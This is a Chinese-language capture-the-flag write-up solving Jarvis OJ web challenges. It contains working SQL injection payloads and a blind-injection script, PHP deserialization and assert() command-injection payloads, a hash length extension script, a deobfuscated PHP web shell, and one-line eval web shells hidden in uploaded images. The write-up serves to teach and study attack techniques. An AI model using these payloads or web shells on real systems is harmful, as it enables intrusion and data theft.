Jarvis OJ web部分WP

PORT51

使用curl的--local-port功能强制使用本地51端口访问,但我在本地Windows没能跑通,可能不兼容吧。虚拟机里是把端口映射出来的,所以也跑不通。最后在服务器拿到了flag。
test

LOCALHOST

IP伪造,burp截包,改x-forwarded-for绕过
IP伪造知识点传送门
test

Login

查看http头得到hint
test

md5($pass,true),md5第二个参数为输出格式,默认为false,

  • TRUE - 原始 16 字符二进制格式
  • FALSE - 默认。32 字符十六进制数

test
意思就是当为True时,函数会将$pass变量加密后的字符串转换为Ascii对应的值
由此我们可以寻找一个字符串让其md5后的值为'or'xxx类型
这样sql语句就变成了

1
select * from `admin` where password=''or'xxxx';

例如字符串ffifdyop
test
test

神盾局的秘密

f12查看前端源码,其中图片的路径很奇怪,showimg.php?img=c2hpZWxkLmpwZw==
可以猜到它可能含有文件包含漏洞
读取各页面源码
index.php

1
2
3
4
5
6
7
8
9
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

shield.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

提示flag在pctf.php,明显利用反序列化读取文件,构造payload

1
2
3
4
5
6
7
8
9
<?php
class Shield{
public $file;
function __construct($filename = '') {
$this -> file = "pctf.php";
}
}
echo serialize(new Shield());
?>

?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
test

In A Mess

f12得到hint,查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}


?>

首先$_GET['id']同时要求!$_GET['id']$_GET['id']==0同时成立,这里考察的是弱类型.令$_GET['id']='0a'即可绕过
$a和$data利用php://input或者Data URI scheme协议上传文件内容
即$a=php://input同时post 1112 is a nice lab!
或者$a=data:,1112 is a nice lab!
最后$b是%00绕过,构造$b=%0023456
test

发现这并不是flag,根据/猜测是路径,访问http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1
接下来就是sql注入了
测试id处
发现空格,/**/被放入黑名单,可以利用/*xxx*/绕过
还有select,union,from被过滤,可以采用复写的方式绕过
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*测试回显位置*/
?id=-1/*1*/ununionion/*1*/seselectlect/*1*/1%23
?id=-1/*1*/ununionion/*1*/seselectlect/*1*/1,2%23
?id=-1/*1*/ununionion/*1*/seselectlect/*1*/1,2,3%23
/*爆库*/
?id=-1/*1*/ununionion/*1*/seselectlect/*1*/1,2,database()%23
/*库名 test*/
/*爆表*/
?id=-1/*1*/ununionion/*1*/seselectlect/*1*/1,2,group_concat(table_name)/*1*/frofromm/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()%23
/*表名 content*/
/*爆字段*/
?id=-1/*1*/ununionion/*1*/seselectlect/*1*/1,2,group_concat(column_name)/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_schema=database()%23
/*字段名 id,context,title*/
/*查找flag*/
?id=-1/*1*/ununionion/*1*/seselectlect/*1*/1,2,group_concat(context)/*1*/frofromm/*1*/content%23
/*getflag*/

RE?

这题很有意思,需要将so文件导入到linux数据库中
先将文件下载到/usr/lib64/mysql/plugin以完成载入
接下来进入mysql,创建help_me函数并查看它

1
2
create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select help_me();

test
题目要求我们访问getflag函数,那我们继续创建

1
2
create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select getflag();

test

PHPINFO

经典的session反序列化问题

api调用

查看前端源码,发现支持xml通讯,所以猜测存在XXE漏洞
上传payload
test

WEB?

查看源码,将app.js规则化,审计源码,发现是解线性方程

1
2
3
4
5
6
7
8
9
10
11
function(e)
{
if (25 !== e.length) return ! 1;
for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++)
{
for (var i = 0, a = 0; a < 25; a++)
i += t[a] * o[n][a];
if (i !== r[n]) return ! 1
}
return ! 0

直接给payload的了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from  numpy import *
import gmpy2
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237,
344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = [
[11, 13, 32, 234, 236, 3, 72,
237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135],
...]
a_o=array(o)
a_r=array(r)
t = linalg.solve(o,r)
print t
for i in t:
print str(int(round(i))),
# QWB{R3ac7_1s_interesting}

babyphp

根据提示猜测存在git源码泄露
使用GitHack获取源码
index.php

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

第一次见assert这样用,显然通过闭合引号达到任意命令执行
payload

1
assert("strpos('templates/'.system("cat templates/flag.php").'.php', '..') === false")

?page=%27.system("cat%20templates/flag.php").%27

admin

查看robots.txt

1
Disallow: /admin_s3cr3t.php

访问admin_s3cr3t.php
test

查看cookie,发现有个admin,将其值修改为1再访问得到flag

inject

查看index.php~发现源码

1
2
3
4
5
6
7
8
9
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

我们发现了反引号,需要让这段代码中的SQL语句能运行成功才能进入下一条查询语句中。

1
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

反引号是为了区分MySQL的保留字与普通字符而引入的符号。不加反引号建的表不能包含MYSQL保留字符,否则出错。

  • 在标准 SQL 中,字符串使用的是单引号。
  • 如果字符串本身也包括单引号,则使用两个单引号(注意,不是双引号,字符串中的双引号不需要另外转义)。
  • MySQL对 SQL 的扩展,允许使用单引号和双引号两种。
    我们发现在使用反引号时,只要前表table1存在,即使table2不存在,该语句也是能执行的
1
2
desc `table1` `table2`
select * from `table1` `table2`

单引号不适用,并且这边的table2会转为table1的别名

而查看源码可以发现secret_test这个表是存在的,所以我们可以通过

1
?table=test` `xxxxx

绕过
进而执行下一条语句

1
2
3
select 'flag{xxx}' from secret_{$table}
/*语句也就变成了*/
select 'flag{xxx}' from secret_test` `xxxxx

上文也说了只要表一存在,表二不存在也是能执行的,这里也适用
所以我们只要在xxxxx处填充union注入语句就行了
payload

1
2
3
4
5
6
7
8
?table=test` ` union select database() limit 1,1
/*爆库 61d300*/
?table=test` ` union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
/*爆表 secret_flag,secret_test*/
?table=test` ` union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1
/*爆字段 flagUwillNeverKnow,username*/
?table=test` ` union select flagUwillNeverKnow from secret_flag limit 1,1
/*getflag*/

Simple Injection

方法一
打开题目第一直觉sql注入
尝试POST username=admin&password=1 回显密码错误
POST username=admin'&password=1 回显用户名错误
POST username=admin' #&password=1 回显密码错误
POST username=admin' and 1=1#&password=1 回显用户名错误
and 1=1处存在问题
猜测过滤了and或者空格
重新POST username=admin' and/**/1=1#&password=1 回显密码错误
接着POST username=admin' union/**/select/**/1#&password=1 依旧回显密码错误
猜测存在md5加密 POSTusername=admin' union/**/select/**/md5(1)#&password=1 getflag

总结:其实挺迷的,第一个空格他没有过滤反而后面的被过滤了,有一丝不解.

方法二
sql盲注,sleep函数未过滤
直接给payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding:utf8 -*-
import requests
import string

str1 = '1234567890' + string.ascii_letters + string.punctuation
flag = ''

select0 = 'select/**/database()'
select1 = 'select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()'
select2 = 'select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()'
select = 'select/**/password/**/from/**/admin'
url = "http://web.jarvisoj.com:32787/login.php"
for j in range(1, 66):
for i in str1:
paylaod = "admin'/**/and/**/(if(substr(({}),{},1)='{}',1,0))/**/and/**/'1".format(select, j, i)
# print(paylaod)
data = {
'username': paylaod,
'password': 'admin'
}
r = requests.post(url, data=data)
if '密码错误' in r.text:
flag += i
print(flag)
break

获得md5密码后334cfb59c9d74849801d5acdcfdaadc3,通过解密网站解密后得eTAloCrEP,登陆拿到flag

Chopper

f12查看源码,发现proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg,猜测是ssrf
访问admin,发现hint<!--<script>alert('admin ip is 202.5.19.128')</script>-->
尝试访问proxy.php?url=http://202.5.19.128
发现url被重定向到http://web.jarvisoj.com:32782/index.php?url=http://8080av.com
可见是可访问的,尝试访问http://202.5.19.128/admin/http://202.5.19.128/proxy.php
proxy.php可访问,那我们再利用此页面访问原站
http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
得到提示,you are closing
尝试扫描此页面
发现robots.txt

1
2
3
User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

访问得到

1
<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

发现php代码被混淆,直接利用php命令执行

1
2
3
PHP Warning:  Cannot call assert() with string argument dynamically in C:\Users\desperado\Desktop\1.php on line 1

Warning: Cannot call assert() with string argument dynamically in C:\Users\desperado\Desktop\1.php on line 1

由于我本地环境是php7,assert使用于php5,所以用php5重新执行一遍

1
2
3
Notice: Undefined offset: 360 in D:\APP\phpstudy\PHPTutorial\WWW\1.php(1) : assert code on line 1

Warning: assert(): Assertion "eval($_POST[360])" failed in D:\APP\phpstudy\PHPTutorial\WWW\1.php on line 1

得到密码360
访问木马界面,Post命令360=cat flag.jpg,得到flag

test

flag在管理员手中

截包发现两个cookie
role=s%3A5%3A%22guest%22%3B
hsh=3a4727d57463f122833d9e732f94e4e0
猜测是hash长度扩展攻击,爆破目录发现index.php~文件
分析文件格式发现是vim的.swp异常文件
test
将文件名改为index.php.swp,然后通过vim -r index.php.swp修复文件
得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>

<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

</body>
</html>

加密内容和hash值可控,典型的hash长度扩展攻击

由于长度未知,需要我们编写脚本爆破
其中有一点,题目要求满足unserialize($_COOKIE["role"])==="admin"这个条件
由于php反序列化时会忽略第一个可序列化后对象之后的字符串,所以我们只要在hash长度扩展攻击时添加admin的序列值即可

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import urllib
import os

url = "http://web.jarvisoj.com:32778/"

def post(role,hsh,i):
cookie = {'role':role,'hsh':hsh}
r =requests.get(url,cookies=cookie)
print('长度为'+str(i)+'爆破:')
print(r.text)
return

cmd = "hashpump -s 3a4727d57463f122833d9e732f94e4e0 -d ';\"tseug\":5:s' -k {} -a ';\"nimda\":5:s'"

for i in range(1,60):
cmd1 = cmd.format(str(i))
res = os.popen(cmd1).readlines()
hsh = res[0][:-1]
role = res[1][:-1]
# 对role进行反置并进行url编码
t1,t2,t3 = role[:12],role[12:-12],role[-12:]
t2 = t2.split('\\x')
t2 = t2[::-1]
t2 = '%'.join(t2)
t2 = '%' + t2[:-1]
role = t3[::-1]+t2+t1[::-1]
role = role.replace(';','%3b')
post(role,hsh,i)

看见url第一眼感觉就是存在文件包含
尝试php://filter泄露源码,提示Cross domain forbidden!,(我这也没跨站啊)
猜测检测过滤//,所以源码是看不到了.
但根据url我们可以猜测?page=view包含view.php
可能是在后面直接添加.php访问,这样我们就可以利用%00截断访问一些其他页面
还有可能是利用键值对映射,如'view'=>'view.php',那这里就没有办法利用了

继续看上传页面,尝试上传祖传jpg图片马(jpg图片掺杂<?php @eval($_POST['pass']);?>),上传成功
尝试访问,可以访问.show界面好像没有什么可以利用的
重新转战url,尝试%00截断,能够访问,但是报错You should not do this!
应该是一句话木马被检测到了
尝试另外两种一句话
<?=@eval($_POST['pass']);?>
<script language="php">eval($_POST['pass']);</script>
第二种能够绕过,直接得到结果
test